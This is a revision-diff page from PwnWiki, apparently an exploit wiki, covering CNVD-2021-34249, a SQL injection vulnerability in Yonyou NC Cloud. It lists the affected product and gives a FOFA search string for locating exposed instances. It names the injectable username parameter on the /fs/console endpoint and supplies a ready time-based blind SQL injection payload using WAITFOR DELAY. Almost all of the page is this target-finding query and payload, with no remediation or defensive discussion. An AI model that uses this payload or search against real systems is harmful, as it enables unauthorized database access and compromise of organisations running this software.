Difference between revisions of "CNVD-2021-34249 用友NC Cloud SQL注入漏洞"
From PwnWiki
(Created page with "<languages /> <translate> ==影響版本== </translate> NC Cloud ==FOFA== <pre> "NCCloud" </pre> ==POC== <pre> /fs/console?username=admin&password=123456 </pre>") |
|||
| (5 intermediate revisions by the same user not shown) | |||
| Line 2: | Line 2: | ||
<translate> | <translate> | ||
| − | ==影響版本== | + | ==影響版本== <!--T:1--> |
</translate> | </translate> | ||
NC Cloud | NC Cloud | ||
| Line 11: | Line 11: | ||
</pre> | </pre> | ||
| − | == | + | <translate> |
| + | ==漏洞位置== <!--T:3--> | ||
| + | </translate> | ||
| + | <translate> | ||
| + | <!--T:2--> | ||
| + | ⚠️️username處可以注入。 | ||
| + | </translate> | ||
<pre> | <pre> | ||
/fs/console?username=admin&password=123456 | /fs/console?username=admin&password=123456 | ||
| + | </pre> | ||
| + | |||
| + | |||
| + | ==Payload== | ||
| + | <pre> | ||
| + | /fs/console?username=admin';WAITFOR DELAY '0:0:5' --&password=123456 | ||
</pre> | </pre> | ||
Latest revision as of 16:06, 10 June 2021
影響版本
NC Cloud
FOFA
"NCCloud"
漏洞位置
⚠️️username處可以注入。
/fs/console?username=admin&password=123456
Payload
/fs/console?username=admin';WAITFOR DELAY '0:0:5' --&password=123456
